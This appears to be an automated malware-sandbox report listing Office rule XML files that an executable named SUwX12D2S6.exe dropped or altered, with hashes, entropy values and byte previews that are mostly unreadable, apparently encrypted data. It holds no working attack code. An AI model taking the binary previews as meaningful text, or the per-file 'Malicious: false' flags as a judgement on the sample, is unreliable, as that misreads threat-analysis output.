SHA-256:	6CB489FE929F0816DA86BC5E73C5547B67C8A7BFDB15F5D849539F0B8BCF359D
SHA-512:	5E168E2DDBD5D202EEBE7E822B2C08352133D50DE98BE5CFCF8F91F163634A0AEBE1F7056AF6B71428E5B14C447FFBD2C030461EDF43E85DE143FC0AFFBA6D48
Malicious:	false
Preview:	<?xml...n(-..E..<.i...{.f~J8..0..J..sRr.4H0..ysh....N.x.....:..-...=..,.Z.U.......6,cJ..3.g..B...+X..:.j.c.Z6`o.<.s.........:.<m._..YnO.m..\3k/.'y..q.5..\...}.x$#...r&>E.. ....N{..z....&...CIZ..S...I...sD.)...V...1..c{....R....([..C.0..vFQ%.?&.>...6.....T...h..($.{...3W-J\|...y.h.o......:.[....)....bJb...r.F.A..e...$.....(R...?....;.]Y @...H.H..h........=O.e....,.Y..]...#"....!.@.....0.h..$.<.b2.B.......L.+H.....7.$&M......^s&.SJ.Yy..m{CdR.....#.R.s.a....D.&.S.4%u...Fu....E..P2..8F)........s.S.w....[.._"J....c.....L`>.H..N..\.-.........0m.\..PsF..-..td..z..5.;8`....vI..3Js.+.i..-.~.e.cB.O...1...\|C.&P@.my._....;.<.$.&dX....k...e.L........^..o.8A..S.%...N..x.p.n.Sp..\|r........v.d3....NB..].0.....Iy.!..k.^.m.Y6..iAX.....t...h\|..h..@.^..y..CJi...\|....._....;.....GY...F.qv...R....s .....+..~d.0...#_..!o./.I...q.!.........3....++H1,.K.LS.-....x>.,5.+l....M..N\|bD....h1,.I.../.....t.4..ck.......k....>9:....e..9.X....=?%{..-u..t.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120300v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1295
Entropy (8bit):	7.821281092757859
Encrypted:	false
SSDEEP:	24:VgZZuj6sf7vmNB6TXGzv1BlDS9hTb7mBuAhJI6gpMGJ2DbeNVbD:VgSnf7uKXCHNSHq8AhTgpMGJdNFD
MD5:	2E5DAD5450844089124DA8D48D8FE689
SHA1:	E7C565C6E8ADD3E4C22C74C54AEDB2818CE0A318
SHA-256:	3D6E5719CE44B1CECC48A0D82EE51FB2191558E1899FC028505FD93B48EBA076
SHA-512:	74B8C51B36912209E0CC8CA987DFB1295110D3DDA3C267E6F18086AB0FD59C9619EC91BCE6409E638D88F8468F1AB2637EDF2FAC03FCB2ECCFCF7248E81481E7
Malicious:	false
Preview:	<?xml..0V..h..s...\yZ...#p........!.k...e.........o.}.j...{q.XW....p.d......2.#./.X..'.`.M..".-.....Oka.../9.p5.............q..i.i...H{j..d.6R...o.6.3-.-$1...[B.E..#\|...Z24..1...A.l.:.}.}..1...MN..P..:9......a0...)..RR..}O...gm...y-s..J..V..#.U{e........[lM....H}x...y..j..S..u...-.}s...0.#M,..IA...%._.r..l.......7...p....2..l.0b.2h6... ....g....N......4...`Re1..}EA....v.x.Yf..1.p...s.b?}..J.T.....u...a.jAv..`[D..7..QM..i.BN.I.&.%L....r..0....KO..FL.....X.wUIt.....D......bq...~.....B..,>...!."....6.-..)z..tb..yb.b.S..QqL..f.&..%.F8p:.A.1.f.F.....B...?....'........T.C2.0...L..'..F..J..g...........!N.........x.9..N...........V..V.........)....R..!..5....^.....k.\|^...?...Mx...z..au..........1.,... ..p..7.K..,S.}..E.v..W).sP.X.*Z...@......h...E.Y\|..E..j!.....d.....k.m.\"....?e{.p.@..9CO7.Z.}m...b....t\Z;L\..I.........3..a..2wk.S.....ID.p..."K..x........m..r.@..-.\|.E.......h7<.[CR...1n....=....LJ+4.......&.....r......+N#1..c......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120304v5.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2582
Entropy (8bit):	7.916824202570671
Encrypted:	false
SSDEEP:	48:CIpiI8JMTptC4I69U3Gc8KjF6M1FxX1mVXDnx04q2ujAOBp0jEFD:6I8cy69U2c8K6exX1mVXDx072EAOBp0o
MD5:	17CF81CD73996053C07CC8D00C4CCD60
SHA1:	A020943D7935E5A237DFEF64E7BCF2A8CF308179
SHA-256:	BBC780A5D4FB4D4AC800406D5B4AB5C66E1DA100AD89488CDBD8ED32802EB399
SHA-512:	DB3579D789F36EE4544026B4C2F390F351940C4492BC74D91EA92124C6FF342068BE696C8E78EFE68B76D9F19F796B22DA2DCE7514D8563C45028A513C73B1B4
Malicious:	false
Preview:	<?xml.u.s.jd..a...J. ..R..w.e3.7-...3...!...Z.j8a...5.E..........%..wL... ..T>.....X..9.15.;)...^a..g..D+SEH ...f1.-.F".P.e:.i.\|..dM.._E.7..H1n...V...T.\...K[.{...;.l>..Q.w.#.o8.\..W..x.9.q..X..Y...]..Do....o....7........b.-W.f.;.jT)...&..I.\|~....M......y..LGk..m.s.71n...U..$ii..........g9..bJoU^..yGu.:VW:...{..Q~.,K........=...M..^&.. .J.\..Z"j....w..n......q..a.Y......3E..{.}~.>..E.z......)...M....f.7Qx..jG....z=X..,S%Vn.xJ`N....e'.{.....b#BI....ff...:...~3c;.9...o..}...eL.0....R1.Z.o\..i.u...9G..D.../.;.Tsw....o..Y.....].$.F.D.....^.'%.5...\...p...'.VAD..u.2....=.....O.v.......K)^.S..vc&EQY..b.[N...D)..84(A.3..}..T.p_.z...U.......dO..z..29Oe..V7V+P..ffU.(${...\..uV[..l..\|N..v..._(@.x.LrH.s.K..].l...)!.zf\|.y..h...Q....MY=..........D..gl...m.5.....W.\z.^n..D...1&]).H.Sw9....#.L...+..A..ta{.k..nl.h..SDt...`.....I.Q......v.}...n*...NWo)....(....L.r.......~..l...~..g...H[w..t..8.....+...4.,...0...b.._.Z._.d../....&..G.s..(.8...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120305v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	7.889119296680913
Encrypted:	false
SSDEEP:	48:eiEYivWyWhCOq1pmL5M5fE9kglX78YiCrqjPxNUPIdNyJiA0VBYiigQqfFD:eegWhc1IlM5svjqcqb539
MD5:	ADB6620E4ECBD0769B62A6C83245F267
SHA1:	BAA7EED48B249573946F3E3627F38160251BE064
SHA-256:	6B8C78E95DECCD6571EC86243B6073671C3BDF07CC30A60159152027472F4F40
SHA-512:	5E3643FF1C73E98C309EF86D278F13E3D4512E4BDE181E2B29915B975EF784CF513704B639B70DE721C7E5BB9905CE85B962781844508D6199A510882D8C7E15
Malicious:	false
Preview:	<?xml...O(X......"..t..e..-Y..~A.\|.euM{...u..].2.C......J%^.......`......#,....W%.c..'a.#%Z....:.f..dv.f.#T.. .z..w..^6..-..]...).&..%>;....$...[]Xz...$_.J.....V.-..ip.....t3..[....a...h.?R).....J.....j.l....j.i..._..k."..Xv}.. \|t..X..A}G..x.?."P....)M?.9...f.:".9.#z..A.....C........[r..u-.W.g`.c..:..2..k<.av...).....M....E=.......tQ.ut.H.v...1.8....1TMZ..C.t.f.)..Uu.....rZ8.P?IR.]F5..b...JZ...[W..0{.hv..R.....9l.......{ue.T....qb..).q6.<..V..-.I.e.GL....O]..61..q.......G..E(.h....L.P...3..!2u.=.$,I..iV8n9...cE$..Z21b....2...k...Ul..K{......\|..%.b.V.k..+.R&[0.(..{..d....<...[....-2I...d..........%......[B...2.....D5.=...0..HKTuR....bm.j.E..L....p.5.Y1'.........}....P...P. .&A.....;KUT..(.h.....!.+Y..q.e..B....(...em}.y.>.........#.....@5,.V....\.:I.@'.U.n.L.~l.L#0["p=#.ad.k]....f..N=P...98....+.....n..T.r.u5.T.'.(.CB..v....h`.D1n~&.t...&k$D.%..j.O...oA*#{..'M.S..2V........DqS.et.o.../...>......i...2o....d_.....Bv..u.....l

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120307v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.865204292717551
Encrypted:	false
SSDEEP:	48:E37eisp6/5KgsbRb9HubjPOjqK7RbZpjQzpkEXIYw18TFD:EL3KgsNRIjPOjqK19p0zpkErJT9
MD5:	261E3E77057A16430A252A92EC768AD4
SHA1:	2D17329B31A832EF9C80DF08DEECD22C3B141807
SHA-256:	232B5BBC6DCC18807532676E2078C1660C80CA1020F30C22769804577B7842C7
SHA-512:	1E1209D41DF09D25703C44E9F1F44151510215F7AC1184322C80DAD43045983261EB78A1DC70D04C61F8AE257BABD9AB95B73CE6611DB4CC17BBC893D38A516C
Malicious:	false
Preview:	<?xml.F@.!s`_.!.8}.[#.`.....T.....`YhEJ.e ...)...C1p.....0.2fRS......v...ey..^.:y..yv`T.....=3Q.T.N...9..........^.C.u'....A..,.oc..3.>..EL.{0....>.#.2..{.4Z..Y....$.D....=".o..../..f.p.Pf...z...h.a.T.q.".....U.X.,N...J+.. ..J....'....}..(...c.0."......b.QM....^....F.p...=........$.:....=2....Y..9O&.[....~E.9....^.CV6~.)+Pldd.9NR.....u.=.U......._&.+)..;U...1....m...-.k..c..(..>.eM...a\|... I!.<..>...O.......$..B)..`......6........@..U.w........l$].\N...9....H:'...y.s.a.od...F.L...[VX..h.s..X.`.....Jp..my2p.rs..k.OA...K.2.Y.7s......j.Id.......CG.^`.....+&.k.\|.h).....4d..5.h.;.e.......C.s.1.3..s.1.;j.......)......\|"...&............`.....zDk^.bb.q...F..oc...-.'.q...znO...#&.{.'.1.)U......{. ....L....y.....qB.s..:.....I..M7...:.i..!.X.35&..:...B.&.n....:.B....P......C...w5t..`........S..;..5.\&...w..,.m...#......Cj..M.i!..)=/.....$.EF...H>.6.[.. B.u>ooe....".1....D.m._-NL......b..6..u1.j.........Ab.....D.oYa.,{2`fu4......s..T..H

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule12035v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.932171758245712
Encrypted:	false
SSDEEP:	48:jumnRhzQjlluhlszwsIVs/4fgkd3QxYrM+PvVL2wLKg/1Vw8/UgNFD:jvhzQjllfksf/gvdgmrMI9KUEgN9
MD5:	C5379F9CA7DB5E4B86E79C208C72125F
SHA1:	DCED633A848F2AC17C0B9B6E27CF8BFF35463207
SHA-256:	07A320B065EC57E5727BAAD11F40513465C09CFA0285519C9445236C778AD9FA
SHA-512:	2FECF58F3797D433FE6619F26F5D108DF9D95352FABC3242E19B9B22C4C7508C14B410A7122FF3B0EC1BAF0BBFEBBDAEC19AB7D3FEEA32B4475A2617A53896A0
Malicious:	false
Preview:	<?xml>.....P1X.,.........?...J....w../....$A.......:...Jl..j..TK.Z.f. .;l..g.vUU....+K.JW....K^u........m).o....[[$.zl+G.T.b..K[.....i`....Z.p......(O.aa.x...#..8.>iuW].I...`1...y}MxD.(..je.......O%.W..X..}.^t).W{....o.....E./.b=...t.`v..kI$.....U......u4.~..& ,Q..f."f.U.#.7.'VWg.t.RN....Ly..S...G(.!.D.9..{......eq...Z..O.x......>..{...........>..L.8....N..?!,.V.m..I..u-Pq....>..?....K..........."...@..`......m.9F,..-hK...!.moM.,..te0....7...{...}2MX.....!.c.\|.q.#..m.UY.1......J.B.F..8.o"..@..V...c.DL....'....!t}.....pVk..W...B].8!...v.e..N.......b......~...M.....2m.l.mj&.Z/X.#....%\|~;xP`f&.w6..Y.#.w...5.y...._..A....k.1...i.Q...rR.'..5F...L....8...7K.W.q...X.%...._O.....S.6."..j.]{......c.2E..\|?...L.v.\|.H].....E5.R,....BOC.O....V:X;.....6...g..w.9.9.3\.2....P.....1....}.Er...m.C.K.+....mW#aD.=..$-.....Tp..=....=u..3.9.p.2b......?..S...n..O..7.xj.T"..vM..b....xS...-.Ys..*.[......A...jJ.....7.d.8..n.%.Zt..J.>..U......D(<..~.?3za/L.1.+..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120402v21.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.954705473897237
Encrypted:	false
SSDEEP:	96:DZKe9LCOLXjtorbYPrgZDEN4Zi+MV3ULJX9:VJ1C4Xj4bOgVEN4jrj
MD5:	6BABE5B0943DCF27344D1A4DF81FDF5B
SHA1:	97E81BF108552B3611E3FD9C0440B6770694510A
SHA-256:	056FC0E081888E1F542A2B3057BA65C7B5D3C927C72F82BF74D1B522B0A1FB03
SHA-512:	0720CC15330E5297BCF4F9F6C3B96551D06E4A0B62EC062C07F55FA1BE0491EDCB3C2ABA8957827D60BE188E3E7454FF2F65BE9BB13E22454EFD9F84014A691F
Malicious:	false
Preview:	<?xml....b..........&.ZN.M..D...............Y\|]&....RjQ.\O.}-..P>..Z.3.<........8......Q......Q..]...l.e~O@.;......vu=B8.`...51.~Q~.+Y.c8g..........NK...v.X...+X.........%".].r...".f..:F..1...f[.-t&.L...%..t...nzD.z.......D......+....pUr....P'gKE...a...a}....u.Y>...s]..tMO.M.....^D..d.3.w...,..rz....QM.M...p .3...J~...D]4...4.nw.....$.\|y......bz....hq...9%U...J.5a...I.E....rx.c.D.".D5.R'.8.V[..C.u..I.fU....x}..^.._.].9........o.P..t.h]..5Q.Br.F....U<.}..r....}.R..b..4....3K.bg./\.. j....n.].UwFp..,..f5Jp..6...1SH.%.[W...HE...o.E.b.I.h#...%..k.[.b\|.\c.H...`...f.(=.&8..{e....9..P.t.7..[.z.x..~G.wK..Wn_.....=.......n\c.........'...o[..=.N.....H.-.2.x.......2.C.}."._...M,....5..>........PU..!d..xg..}W.....o=....+@..[]...h_W}W.jR."P..b.v..vU....->Y.\.u\.Z..k..jT..[......@.Nq)e.}....?q~....AAiw..K.Ua.....T6.....f...y...T.G.).&...1.e....*..m.b.g....4..o.A<Wa3..p0.f....l...Z....Dc..r.\.7.+..C.r...._.4.).6....O.....:L3...H....W..aa.9]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120501v17.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	8140
Entropy (8bit):	7.979155186966346
Encrypted:	false
SSDEEP:	192:J5NKghsgsqCf91jdh6Rxn01SVrJwaX5nfQQV2J5XMPz4+ZjID6Cfu2k2:J59GUCl1Zh6caH2Jlzmje60u2P
MD5:	0FF181FC89AD071580EBD409D1A39D8C
SHA1:	D257565C7EB4F08C1850D1E7FD066553FA9CD937
SHA-256:	7BD51818A7ADC7E31B7C05508CDD0F86E2076543E3ABE635FA3350FF4E21DA71
SHA-512:	13B5C73B5FE6178A696CDE66CF305311C01BAC65B3C0163BB1F734C806FEA9667D7543E2C3DE77E3B919F88EAB823E1FD5B75FD79B2A010EAE4B86CA58CBDDF2
Malicious:	false
Preview:	<?xml....j.......\I..x..$^...I.+#..;>[........I...V.....9..W.+..p\".]....2Y.....Dn...,..a.G.....-...m...]..U.`.&.P...V..V...6.L.v`..q;.H... .q_c..B.....:.......2...H...v:..\.Z,O. ...T....j$9+.Jg.4.[.&..fX2-.........B.\|},....P..S,..TP..#\.Rc.......d.67..=...&........A.. .m....d.Q...P.....!.Os.G<.?.uqQ......8...$HZ.....kEP..zL\.A..kw,f.....!.k.I..z...+./..l......d_...c.".....u.....B.}..fd..1.[6.......1)k.s.Q...\|..........i}....O7.....X..'...S.I.......o.%...L[..\|f..=...,}8.....e..^I.....3.AU.......be......mU.UU...2...k!.....C....t../....!.C)....@...H.~,...`.W..o~.'....-m..K.h&..O.f*.r.p. .t. 3....6...wo.3Ptd[.Z...rhe...]O$&g.\|.."\.}.5t.Gk.....,....s.E...'G.....sZ5.....8>-C.\|.........yj...S.y...D......08..Q/W.g...!I.0.O..s...Y.TqW..#.....v.._.A......X.~..V......)Q+..@..(..4.`.U..p:. ......>..F.N...M.G....b#tfo........l.:.h..5.#.T......\|.#2..0.......G...._....T..M.6..C.....8..h..hG.^2..._d.5.v...>j.s(#.+.......>rz..j.w.r.@$..U#

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120600v4.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3313
Entropy (8bit):	7.935615327681209
Encrypted:	false
SSDEEP:	96:jAYhJZ0Buqt8XZh2kg1Tk5cSBgXKGZykU9:kYTKuqCZgkPcQGZDs
MD5:	2BB344F3863D5A2CC0AAAAB9A9783F6A
SHA1:	9EC65B771EC9C0313BABF716B8813596D79B9426
SHA-256:	1237355756CA5ED6E6C88AF948329A6F666B75FB49B82BDE69517927F9F8C0C2
SHA-512:	5C3C6F9070FF816C0611392A0CC5CD9973957794BDB9A0D4B0197899F1C6426868C8001961EA816758135936C73671737766BDFDE85B012937DA0A370CB3DB9C
Malicious:	false
Preview:	<?xml...}....p-R....G..J6....7.y.!.2eD...........^.y...2.(....h...%...i.....X~7(z.\..rk...0b.c..u)f3..m.3.y.......d.q..Rom...C..A..Y.eL.6.9..T.xr.....X=.1...y.'.K"f...W.X.[!.F..@..m.`.p....?&a.8^..{,>.3..xK.h.a%.0/.+.....ti..zp.a....#..........f.-...w.t...%gH+,3@K...r.Z..t$@&3\...Qj.[.Aoz..e_),..xF.xq.^7......Wx,WW.1..lX....t..Do...yncM.V$.7j..7lO...{1dVc.....V...X{.jH....7a.,.s.w.~....FrQ.d<......Dt6...'..8*{6V8...T..................#.L.\..eQ..AB2.....kj;.)3E).!...G..7.....-..[.B.+6:2.7...&.....&!.CZ.E9O.8../$...N..w.^..4}..2y..........9Z.K>.>A.~.;4.......,"....'.!U......p..Yi......^D...<}.......`l.J...V.?.....H. .y.K....7!..7&.q...@~9..@.a.tG..U..6.".....F..3x.h...&8..I"........0.N....`=....c].3..?...R.P...D..........G....._AA"q,..</a._.+..di<W........nu....,b..i....>._........W.. ../..........?....;t.h}.`1..W....8~uK.iY...NL ;:G.4..D..,F.S}V..MO\.J%?.Il.E...3.o.....=F..Tg.n...C....../...6BYP.y\|-.\+.}..:... ..../..:7.\|Xvy.h

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120601v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3675
Entropy (8bit):	7.950842902269783
Encrypted:	false
SSDEEP:	96:lIvshfMBNAuWAlsuFxEIeJkm+ByzB7FfLSCr9:ljOBnFxEIk7fXR
MD5:	11BD2EAA42793AACCC619776AF51C77A
SHA1:	339790BC4A784937D5998CB5F79503A5C59753ED
SHA-256:	F9D74353CED455F2AAABA152B60E112AA1BF3C7BF220D99BB9C21AF3DE16007B
SHA-512:	8BBABDDCFDC80804BF007DD37DCB4BA08FFA705DDA6F5AABC84AED9EDE791AF08825F45B9E5352B69FCA6325CA870B5265DFA5389166ABF22C30A8E3B1B1C71F
Malicious:	false
Preview:	<?xml..WU.V.....,S...{.1..u.Gs..@........T.#..qoCui..........'4............r.......kX.+}...W...v.z...FQ....8i..`..FA...D.6.=.^....BO.......mx~.2H'.g.ad.$...~..E...i..s...q:..Z..;&".B.s.~$..Vc.L.H..8^...9"......z,H..0.......\.C...zO`nZ.zH...O..."..~E.2..........{?-...X.......HLX.nn.H5..QT`....?.&...M....&....E....'./j...4.....X.X....<y.Pg...W.k..\h..0.i..bM.ir....h........o..CLn..PKw..k..K.>..L'.=..:..?...;s...O.F2p....a(GR=.-..sZ......'.....~.diz..dnwk...1o.qc,0.....<:......l..r.{...0..V+.B.;`.0.]Y?..(.]......E.OU.......t...?...}+.........'...gK.g.....JO\|k.'....I...0..Df.XLK..fX.....yp.=.z....l....O.........zL.;.@9II....<[.)..Z.H.A9\|....h(...i?3p...q....,b..g7..dG.d..i...s..m........(.~..vu..U2...Y....M.......:.h..'......$.<p.H.T.P..e..0...~$v?`..4.....`f.....3...>.0{.{.l.0.o...8)+....N.7.".E...>.&:.c<...w=u.6:I..A`B....R....KXq.JK+...`I.O.k.T,....Zti.L..p..i.F.....t......e..S..V$..7..:......J....Y...J.O....\.sJ...9:..>.H..%..p..$sg....3..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120602v8.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2924
Entropy (8bit):	7.93762519308086
Encrypted:	false
SSDEEP:	48:/dfE84z33RmeqvYb6oXJZqta86a2GXCfkF/vgAuneGouaqu50L/TRAneCl4GpS5M:FfaLBj6wbqta86adIWng5neGu507g7OS
MD5:	62168F48D39395C7A3B0817F06B25440
SHA1:	C161ED7B0748BC15F3747C1D254F21ED806B1755
SHA-256:	FC56426941DA4598EBFF18C6DF0226F9AD34725206D1C5309DD8C4EEADAC4880
SHA-512:	33C6C5AB3E1DFE38FE387BD96EE71F8DE1A95E1A8BE222D6327CE2FD892A272415A6BC7A473F41EDA625D43F2B2A745293976FC4722E72D3BCD874E05EB2DA81
Malicious:	false
Preview:	<?xml...\|..&.z.Y.=R.F..0wU.....!..n.A.....<;[.l.+....+..E...,4.Eq.aIa....8xCr}.Cj.....,....X...9.pg%.>.....:e. ......c\..M.g..@Q.N.Ru.UK..{....2..6....t...$`..*.>....e..W.W..75.V..Pw...\|.,2jsu.C.w]....5.R>.QX.JJ..6Q...m......(..0+o...<.~k.Si.h~.......+..A9.o%..Pi..S...XT..4...:......m=.........Mu.G....g..~nl.\|.(....).Fb.-f..7....^........`...... E.kGM{/.....$;".i.....J...Bl?C..~0.\|E..(......Q\|..6..R.......g.....gvw...a.l$.^m..{.GA.9R.vd?..WJ..$......Ct..q.G...L]..I>$..'Q..0....Le..E...7...~...e..o........V...7.'vvU...<I......J.....$..l\..{._.........!J........C~....I..]...R.U%.Y.E....T/Joi<..c.i.E.l....8I....s...3...P/b.F.X..d>n.R.....oH..bY.N.:...tM].....Y.Tmk....Z....V\|.vz.^......;mj..]m..\.`D....I..:A..K.1..B.=..D9sP......Ys..^..r.y..4.....cLh.PP...j`.M2.G:.GPDG......Zf........q..T.7.q#.R..=....@.z......&.......'/....@S.Q..n...;..Z2......)~..M...I.%VO}T...8n`4..}#...T/..=..o<.k.../....5...8..e...IjO[%b...xS........m..<H.2q...E...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120603v8.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2461
Entropy (8bit):	7.927311928583506
Encrypted:	false
SSDEEP:	48:9pX0wI5idaAC9WIE9qChz5Q14F9fK4N+Af+4jUnkKHrJGsdDFD:nLyWx9quzx9fKno+4YX4st9
MD5:	B057B031F5D4951536C682F227A0FB28
SHA1:	61976FEF3A6CE1B62459BF4DFFC098932CEBA495
SHA-256:	02A115D0CAD4493D39D078677DA75BFB41A0E09839FF746FDA9FAFA2721E9E01
SHA-512:	01D733539F64759784F0D5EA83D676BA02CD433521C994DE886BFE29078532C6275481A2A50D22B6EBE1496C9790B5BDD98648D5A60F999AD63DF6B04531C315
Malicious:	false
Preview:	<?xml...f#kw..U=.=.Zb...H.mr....L}@tq.l.../$oh.mOe..(=.......~E.........d.c@..+&H..r0lN...wP...au(.D%.....BE.w.!.....fn+....U..}..<....K....DQ=..+.;.......0.AT..?.odN).._b$......F1$...\|u.X.._.......\|9.^#.A_.^@.o~E.Uim!].t.2....$...........-A...[K.ye.=c..2.....b~..>..u.\|.j.&.!....4.d...;...R....+.n.+XJ.S....r.C..5u."../.....!.N45x....o.R."..s..1..k.....}_..w..{.\|..&....u(.XM.w..Bg..]_...>.....!h.g.;.,.".EU;.-...K.s.G.Q.M.h:..n.vK.."x....+.y5...j.....9.6L......bV..1V7.k.{$......'3.....,.Wi..@........o.:V...h/.Ijg(L....W..w......'.8c.x..]..8..&..v~...r4jO..\|.=.....p+...$pU..)xR.o.T..y.o.......nk6/=....?...W.cFE...6...>.9.<.......Nc....n..4...9s.....T..pZX%((me.y..t.B.XM.C?....z...7>..s1=.Rh.k.."(i@....%bA.4..H...U.I...5.O.LaR.3&..#.?!ZJg.(\|-.k..^.o...L6nc.n../.., )..}.z..;.........q./....?...O<..R.DK...:.d.K+....mr....A..P...k.f.m.=..EX.4x@.O3.S.O.......c...T.)1..vM.c..U..`.b...q...C.04-M...)...x\...}\|..`^`..P.B.-.l....9...X\.......Y.6....\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120604v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.7070210280692315
Encrypted:	false
SSDEEP:	12:oGEM+hQkhbsGojwa4e8wyxNAPClVYVKVwywV9C00jIqAbEjqBlLajVcii9a:oU+hD4ANAPCnYVH+JAR8VbD
MD5:	49DF1ACBC343FF14A8AAAA963CB75ACF
SHA1:	EF9C0DD9E00BA918B6A7705F9CF700936DC40ED6
SHA-256:	6117B1C867EBD29754B7EB09024CF23B0133DCFC8E61B37EADCB9C26499B582B
SHA-512:	AD77480FB5C7470DF0BEDAE06D6B376D2D0A95E2A9DF4B89DD473159A987F94FB04D8619BD282E39968D936ACF5FCB31103DEE661B559BE211932F4A3577CC05
Malicious:	false
Preview:	<?xmlN..7...&.%C..n..U.h..zU./<n..........0.c...Z4.;.....9!..loMm.L;..6%..2.....Y.u...d.Oe@...-....@_.{.....Cu,..26;...U.i.H.FR..7._.{...o.........9t........].[R.1.~....+{.S.8.....2...m.P......P......U{....w.r.Igl...>....D..lSus.R..%.8..../.&...f..V.u."...>32.{P.9........C.N..Z1f...rM.sT...GRQ..5ka.5`U..e.......Q.#..M..;...n,.`+.F.,...A..^G..B.8..A#-.+Y7<...>.1..K...n.0..m!_.....6%J.pR.+..D...v.vB.:r.9......O.j....p..{....f.G..<L`{....^.........ad.oC..J~}.....g'.k...P^.tH.%....'.}*5.w@e.7..$....n+n!we.u...A{..Rl....q].T.Z.o...UO.h..>V....".@......S.#..B...=..0.d.......i..C..x./.G..(D.]........]......&..T.%...{.....Hm.:......=..t/.R.a.Aitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120605v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.8183491426191285
Encrypted:	false
SSDEEP:	24:2a8qu5hYaC5VOtjAqVfWN/+UZTFyscwl3gtfZ1ozVbD:2a8JeaaMNAqw+UHxcsGOFD
MD5:	49367AED87AA6509439037276B5CA20C
SHA1:	55197CF1F9DB85BEC7C892A39045BDC814A054ED
SHA-256:	981A9F3505397F4D525AC17F7CCE5A384866F8BDA86F8DE2F2E9F1E5AC519BF6
SHA-512:	ABE29773229C00EF5DC03E20546A70D69D07FE1AEE8DB2D2E6DF3DF04F8FECD412032754E5A07ABB08A2371253B281331E3842248463FE12CAC4825DFCDAC2A2
Malicious:	false
Preview:	<?xml..2.(....Lv.....[.o.!.J..p.+.....+..<.X..!k..$....$..T ....6...v[..C].Wz,..e+../...xJ.N.,.._(fD..V..F.GG..@..-.B.+.Ii....&...y4..S}.j.. <......s.%`.}.t....U-eK.~.p.o..L]+#.J.b...}.Y...y..X..c.\......'.v.....Xfn./.y...?.[..n...Q.kA..O....F.f.......l......{5......P....%yo4F.A...i)Y.\|A.'.k.)gbM...9......(..p>p......$T...X`YCw.C.../.,`.j?...:.}..">U.......XA.9.z.9.o..{U...$...v.r.Wu.[ ....W..p....._1WX...F..O[GI...U.z.4..7.xa.(..:...iW.Ze..Q.!S.........D9\|.uGZ.;xF2c.".....=5..MF.jF.6.4.F.^`.%;P..E7.N..F..a.I........Y.Xe#.......5..tf.Pa.~....Uf.c...y.6.U....S.X..6..AU....-..W...F..a....P...l.+C...p..q\....08.Z`.o...<0.c.7$....g.bE~.>.!Sig...S....k..X...X...o?vO._Z..b.LM.,[?9.Iw.....P..."{V4....l...U.N.....V..].F.Z...[.0.Y=I....$.....l.....=.2F...u.f.....R..U...\.....z...W....y.D.U.[.....{..&...B:...b......[.#.xY.....a..X.l..$......%...........G%1.[....R..t\|.I...\z.\.,...&.....2.1..ZNC.....$..n...}.....:c........)$...@...[.....<.<..O

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120607v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	7.486710374183633
Encrypted:	false
SSDEEP:	12:0oGeaeEQ920nUAgTST6wYK05AIiZ22+yIfHauIVw/TjVcii9a:lEJ0yT66wYKQAlYZNaVmHVbD
MD5:	8590ECF101D682D1D51771174B77B225
SHA1:	AB94E2F4C11BAF17192EF86FF128474869706C51
SHA-256:	FDE83CBA7E4CFCBE05FE33FA4481EE19B91B1BAB35E85EC7518FE2F51B5EC61C
SHA-512:	F96F435B7164495CFD9A89961C5585375D9DDB94C05B1C5F559B880BC7684B244F41ED06F118A44DA61300AD1EFB7126EC15CD8C2C898DB406C6CEDF0B6B57ED
Malicious:	false
